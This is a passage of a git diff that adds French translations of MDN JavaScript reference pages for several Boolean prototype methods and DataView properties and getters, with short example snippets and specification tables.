diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html
new file mode 100644
index 0000000000..c40a6885ad
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html
@@ -0,0 +1,59 @@
+---
+title: Boolean.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Boolean/toSource
+tags:
+  - Boolean
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource
+---
+<div>{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> renvoie une chaine de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>booleanObj</var>.toSource()
+Boolean.toSource()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("Boolean")}} object, <code>toSource</code> renvoie la chaîne de caractères suivantes qui indique que le code source n'est pas disponible :
+
+  <pre class="brush: js">function Boolean() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les instances de {{jsxref("Boolean")}}, <code>toSource</code> renvoie une chaîne explicitant le code source de l'objet.</li>
+</ul>
+
+<p>Cette méthode est généralement utilisée de façon interne par le moteur JavaScript et n'est pas appelée explicitement dans des scripts.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucun standard. Implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Boolean.toSource")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html
new file mode 100644
index 0000000000..e1e7ab0dcc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html
@@ -0,0 +1,90 @@
+---
+title: Boolean.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Boolean/toString
+tags:
+  - Boolean
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaine de caractères correspondant à l'objet <code>Boolean</code> courant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>bool</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente l'objet {{jsxref("Boolean")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Boolean")}} surcharge la méthode <code>toString()</code> de l'objet {{jsxref("Object")}} ; il n'hérite pas de la méthode {{jsxref("Object.prototype.toString()")}}. Pour les objets de type <code>Boolean</code>, la méthode <code>toString()</code> renvoie une chaine de caractère representative de l'objet.</p>
+
+<p>La méthode <code>toString()</code> est automatiquement appelée quand le <code>Boolean</code> doit être representé comme une texte ou lorsque qu'il est concaténé avec une chaine de caractères.</p>
+
+<p>Pour les objets de type <code>Boolean</code> , la fonction native <code>toString()</code> renvoie la chaine de caractère "<code>true</code>" ou "<code>false</code>" en fonction de la valeur de l'objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toString()">Utiliser <code>toString()</code></h3>
+
+<p>Dans ce code, <code>flag.toString()</code> renvoie "<code>true</code>" :</p>
+
+<pre class="brush: js">var flag = new Boolean(true);
+var maVar = flag.toString();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.4.2', 'Boolean.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Boolean.toString")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html
new file mode 100644
index 0000000000..5f14a8bff9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html
@@ -0,0 +1,86 @@
+---
+title: Boolean.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Boolean/valueOf
+tags:
+  - Boolean
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>valueOf()</strong></code> renvoie la valeur primitive de l'objet {{jsxref("Boolean")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-valueof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>bool</var>.valueOf()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur primitive associée à l'objet {{jsxref("Boolean")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>valueOf()</code> de {{jsxref("Boolean")}} renvoie la valeur primitive d'un objet <code>Boolean</code>, ou d'un littéral booléen.</p>
+
+<p>Cette méthode est généralement utilisée de façon interne pas le moteur JavaScript et n'est pas utilisée explicitement dans les scripts.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_valueOf()">Utiliser <code>valueOf()</code></h3>
+
+<pre class="brush: js">var x = new Boolean();
+var maVar = x.valueOf()      // assigne false à maVar
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.4.3', 'Boolean.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Boolean.valueOf")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html
new file mode 100644
index 0000000000..3b88dd7b93
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html
@@ -0,0 +1,71 @@
+---
+title: DataView.prototype.buffer
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/buffer
+tags:
+  - DataView
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/buffer
+---
+<div>{{JSRef}}</div>
+
+<p>L'accesseur <strong><code>buffer</code></strong> est une propriété représentant l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} référencé par la vue <code>DataView</code> lors de sa construction.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-buffer.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.buffer</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>buffer</code> est un accesseur/mutateur dont le mutateur correspondant vaut <code>undefined</code>, cela signifie qu'il n'est possible que de lire cette propriété. Sa valeur est établie lors de la construction de l'objet <code>DataView</code> et ne peut pas être modifiée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_propriété_buffer">Utilisation de la propriété <code>buffer</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.buffer; // ArrayBuffer { byteLength: 8 }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.buffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html
new file mode 100644
index 0000000000..d02edfb161
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html
@@ -0,0 +1,78 @@
+---
+title: DataView.prototype.byteLength
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/byteLength
+tags:
+  - DataView
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteLength
+---
+<div>{{JSRef}}</div>
+
+<p>L'accesseur <strong><code>byteLength</code></strong> est une propriété représentant la longueur, exprimée en octets, de cette vue depuis le début de l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} correspondant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-bytelength.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.byteLength</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>byteLength</code> est une propriété accesseur/mutateur dont le mutateur vaut  <code>undefined</code>. Cela signifie que cette propriété est en lecture seule. Cette valeur est déterminée lorsque l'objet <code>DataView</code> est construit et ne peut pas être changée. Si <code>DataView</code> ne définit pas de décalage avec <code>byteOffset</code> ou ne spécifie pas <code>byteLength</code>, ce sera la <code>byteLength</code> de l'objet <code>ArrayBuffer</code> ou <code>SharedArrayBuffer </code>référencé qui sera renvoyée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_propriété_byteLength">Utilisation de la propriété <code>byteLength</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.byteLength; // 8 (correspond au byteLength du buffer)
+
+var dataview2 = new DataView(buffer, 1, 5);
+dataview2.byteLength; // 5 (correspond à la longueur utilisée pour la définition)
+
+var dataview3 = new DataView(buffer, 2);
+dataview3.byteLength; // 6 (en raison du décalage (offset) pour la construction du DataView)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.byteLength")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html
new file mode 100644
index 0000000000..1f26b5827b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html
@@ -0,0 +1,75 @@
+---
+title: DataView.prototype.byteOffset
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/byteOffset
+tags:
+  - DataView
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteOffset
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>byteOffset</code></strong> est un accesseur représentant le décalage, exprimé en octets, entre la vue et le début de l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} correspondant.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-byteoffset.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.byteOffset</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>byteOffset</code> est un accesseur/mutateur dont la fonction du mutateur vaut  <code>undefined</code>. Cela signifie que la propriété n'est accesssible qu'en lecture seule. La valeur de la propriété est définie lors de la construction de l'objet <code>DataView</code> et ne peut pas être modifiée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_propriété_byteOffset">Utilisation de la propriété <code>byteOffset</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.byteOffset; // 0 (aucun décalage)
+
+var dataview2 = new DataView(buffer, 3);
+dataview2.byteOffset; // 3 (décalage défini lors de la construction de la vue)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.byteOffset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html
new file mode 100644
index 0000000000..b5d6e40180
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html
@@ -0,0 +1,88 @@
+---
+title: DataView.prototype.getBigInt64()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getBigInt64
+tags:
+  - BigInt
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getBigInt64()</code></strong> permet de lire un entier signé sur 64 bits (type <em>long long</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getbigint64.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getBigInt64(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une valeur {{jsxref("BigInt")}}</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getBigInt64()">Utilisation de la méthode <code>getBigInt64()</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getBigInt64(0); // 0n
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-dataview.prototype.getbigint64">Proposition pour <code>DataView.prototype.getBigInt64()</code></a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getBigInt64")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html
new file mode 100644
index 0000000000..a7733aec6e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html
@@ -0,0 +1,88 @@
+---
+title: DataView.prototype.getBigUint64()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getBigUint64
+tags:
+  - BigInt
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getBigUint64()</code></strong> permet de lire un entier non signé sur 64 bits (type <em>unsigned long long</em> par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getbiguint64.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getBigUint64(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une valeur {{jsxref("BigInt")}}</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel qu'il est en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_getBigUint64()">Utilisation de la méthode <code>getBigUint64()</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.getBigUint64(0); // 0n
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-bigint/#sec-dataview.prototype.getbiguint64">Proposition pour <code>DataView.prototype.getBigUint64()</code></a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.getBigUint64")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html
new file mode 100644
index 0000000000..f8a07d3eff
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html
@@ -0,0 +1,96 @@
+---
+title: DataView.prototype.getFloat32()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/getFloat32
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getFloat32
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getFloat32()</code></strong> permet de lire un nombre flottant signé sur 32 bits à l'octet donné par rapport au début de {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-getfloat32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.getFloat32(positionOctet [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut <code>false</code> ou <code>undefined</code>, la valeur sera lue dans l'ordre des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre flottant signé, sur 32 bits.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
